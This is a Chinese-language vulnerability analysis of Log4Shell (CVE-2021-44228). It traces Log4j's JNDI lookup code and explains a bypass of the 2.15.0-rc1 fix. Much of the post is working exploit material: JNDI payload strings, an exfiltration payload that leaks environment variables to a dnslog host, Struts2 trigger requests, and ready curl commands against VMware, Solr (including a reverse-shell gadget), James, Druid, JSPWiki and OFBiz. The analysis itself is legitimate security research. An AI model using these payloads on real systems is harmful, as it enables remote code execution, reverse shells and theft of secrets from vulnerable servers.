原创 p1ay2win 2021-12-21 00:08
这是一个影响 Apache Log4j 2.14.1 及更早版本的关键 (CVSSv3 10) 远程代码执行 (RCE) 漏洞
${jndi:ldap://example.com/a}
,如果启用了消息查找替换,将触发远程类加载、消息查找和相关内容的执行。成功利用 CVE-2021-44228 可以让未经身份验证的远程攻击者完全控制易受攻击的目标系统。简介Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。Lookup提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现StrLookup
接口的特定类型的插件。Lookup语法为${prefix:name}
,其中前缀标识告诉Log4j应在特定上下文中使用的变量名称。import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Log4jJNDI {
private static final Logger logger = LogManager.getLogger(Log4jJNDI.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:rmi://127.0.0.1:8888/Calc}");
}
}
代码分析跟进到org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
,若未设置nolookup
为true,遍历要输出的日志,$
符号和{
符号相继出现则会在后续将花括号中的内容作处理。nolookup
在log4j 2.15.0之前是默认关闭的。再跟进到org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute
,在这里会从外到内递归${
和}
内的内容,然后使用图中的resolveVariable
方法解析并返回它的值。在resolveVariable
方法里支持解析的前缀有date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
,实测在Spring框架下支持解析的前缀会有所不同。继续跟进org.apache.logging.log4j.core.lookup.Interpolator#lookup
,根据前缀从strLookupMap
属性中获取相应的Lookup类实例。这里获取的是JndiLookup
的实例,并调用该实例的lookup
方法。JndiLookup
的lookup
方法里,调用org.apache.logging.log4j.core.net.jndiManager
的getDefaultManager
静态方法,返回JndiManager
实例,其中的context
属性被设置为InitialContext
对象。然后调用JndiManager
实例的lookup
方法,实际就是它的context
属性InitialContext
的lookup
方法,后续流程就如常规JNDI注入,加载远程的恶意类执行其中的恶意代码。RC1修复绕过log4j在RC1中对JNDI注入问题的修复存在于github的commit记录LOG4J2-3201中。在JndiManager
类里对反序列化的类和JNDI服务器地址做了白名单校验。 public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
if (uri.getScheme() != null) {
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
Attributes attributes = this.context.getAttributes(name);
if (attributes != null) {
// In testing the "key" for attributes seems to be lowercase while the attribute id is
// camelcase, but that may just be true for the test LDAP used here. This copies the Attributes
// to a Map ignoring the "key" and using the Attribute's id as the key in the Map so it matches
// the Java schema.
Map<String, Attribute> attributeMap = new HashMap<>();
NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
while (enumeration.hasMore()) {
Attribute attribute = enumeration.next();
attributeMap.put(attribute.getID(), attribute);
}
Attribute classNameAttr = attributeMap.get(CLASS_NAME);
if (attributeMap.get(SERIALIZED_DATA) != null) {
if (classNameAttr != null) {
String className = classNameAttr.get().toString();
if (!allowedClasses.contains(className)) {
LOGGER.warn("Deserialization of {} is not allowed", className);
return null;
}
} else {
LOGGER.warn("No class name provided for {}", name);
return null;
}
} else if (attributeMap.get(REFERENCE_ADDRESS) != null
|| attributeMap.get(OBJECT_FACTORY) != null) {
LOGGER.warn("Referenceable class is not allowed for {}", name);
return null;
}
}
}
}
} catch (URISyntaxException ex) {
// This is OK.
}
return (T) this.context.lookup(name);
}
但这个修复存在问题,如果new URI(name)
抛出了URISyntaxException
异常,则会跳过白名单校验直接调用lookup
。URI加不编码的空格可以触发URISyntaxException
跳出try catch
直接执行lookup,但在lookup
里会去掉空格,正常触发JNDI注入。${jndi:ldap://127.0.0.1:1389/ badClassName}
其他利用方式读取敏感信息log4j中的两个前缀sys
和env
,是分别通过System.getProperty()
和System.getenv()
实现的,能够获取环境变量和系统属性,再配合Out-of-Band
,就能读取到环境变量和系统属性中的敏感信息。POC${jndi:ldap://${env:USER}.dnslog.cn/abc}
读取配置文件bundle前缀ResourceBundleLookup
中会把 key 按照 :
分割成两份,第一个是 bundleName 获取 ResourceBundle,第二个是 bundleKey 获取 Properties Value。bundle前缀在只引入log4j的项目上默认不支持,测试在spring框架里支持。POC${jndi:ldap://${bundle:bundleName:bundleKey}.ed7yce.dnslog.cn/abc}
受影响组件触发方式Struts2检查请求路径触发在struts2-core包的org.apache.struts2.dispatcher.mapper#cleanupActionName
中,检查action名的范围是否在[a-zA-Z0-9._!/\-]
内,若存在访问之外的字符,则会将action名输出到WARN日志中。protected String cleanupActionName(String rawActionName) {
if (this.allowedActionNames.matcher(rawActionName).matches()) {
return rawActionName;
} else {
LOG.warn("{} did not match allowed action names {} - default action {} will be used!", rawActionName, this.allowedActionNames, this.defaultActionName);
return this.defaultActionName;
}
}
在请求路径中两个相邻的/
会被转换为一个/
,将其中一个/
替换为${::-/}
可防止被转换。有的struts2版本的相同类中还存在cleanupNamespaceName
方法,利用方式相同。POChttp://localhost:8080/helloworld_war/$%7Bjndi:rmi:$%7B::-/%7D/127.0.0.1:8888/Calc%7D/
检查请求参数长度在struts2-core包的com.opensymphony.xwork2.interceptor#isWithinLengthLimit
中,访问一个存在的action,会检查请求参数名的长度,若长度超过默认的100个字符,请求参数名则会输出到debug日志中。protected boolean isWithinLengthLimit(String name) {
boolean matchLength = name.length() <= this.paramNameMaxLength;
if (!matchLength) {
LOG.debug("Parameter [{}] is too long, allowed length is [{}]", name, String.valueOf(this.paramNameMaxLength));
}
return matchLength;
}
POChttp://localhost:8080/helloworld_war/hello.action?$%7Bjndi:rmi://127.0.0.1:8888/Calc%7Daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=123
获取静态文件If-Modified-Since头struts2在org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter#doFilter
拦截一个请求,且请求的路径不在排除的路径内,则会先调用execute
属性的executeStaticResourceRequest
方法,判断是否为静态文件。在org.apache.struts2.dispatcher.ExecuteOperations#executeStaticResourceRequest
里,请求以struts
或static
开头则会交给DefaultStaticContentLoader
的findStaticResource
处理。findStaticResource
方法中,静态文件会从struts2 core的org.apache.struts.static
包下找,然后会交给同类的process
方法处理。该包存在以下静态文件。tooltip.gifdomtt.cssutils.jsdomTT.jsinputtransfersselect.jsoptiontransferselect.js
process
方法里,静态文件输入流非空时,则会尝试将请求头If-Modified-Since
的值转为Date类型,当转换失败抛出异常,If-Modified-Since
的值就会输出到WARN日志中。我们访问struts2中默认的静态文件,并设置If-Modified-Since
头为非Date类型即可触发log4j漏洞。POCcurl -vv -H "If-Modified-Since: \${jndi:rmi:\${::-/}/localhost:8888/Calc}" http://192.168.217.1:8080/helloworld_war/struts/utils.js
其他受影响组件vmwarecurl --insecure -vv -H "X-Forwarded-For: \${jndi:ldap://10.0.0.3:1270/lol}" "https://10.0.0.4/websso/SAML2/SSO/photon-machine.lan?SAMLRequest="
slorcurl 'http://localhost:8983/solr/admin/collections?action=${jndi:ldap://xxx/Basic/ReverseShell/ip/9999}&wt=json'
curl 'http://localhost:8983/solr/admin/cores?action=CREATE&name=$%7Bjndi:ldap://10.0.0.6:1270/abc%7D&wt=json'
Jamesecho 233 > email.txt
curl --url "smtp://localhost" --user "test:test" --mail-from '${jndi:ldap://localhost:1270/abc}@gmail.com' --mail-rcpt 'test' --upload-file email.txt
Druidcurl -vv -X DELETE 'http://localhost:8888/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2flocalhost:1270%2fabc%7d'
JSPWikicurl -vv http://localhost:8080/JSPWiki/wiki/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/
OFBizcurl --insecure -vv -H "Cookie: OFBiz.Visitor=\${jndi:ldap://localhost:1270/abc}" https://localhost:8443/webtools/control/main
参考https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.htmlhttps://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNghttps://lorexxar.cn/2021/12/10/log4j2-jndi/#2-15-0-rc1-%E7%9A%84%E4%BF%AE%E5%A4%8Dhttps://xz.aliyun.com/t/10649#toc-2https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis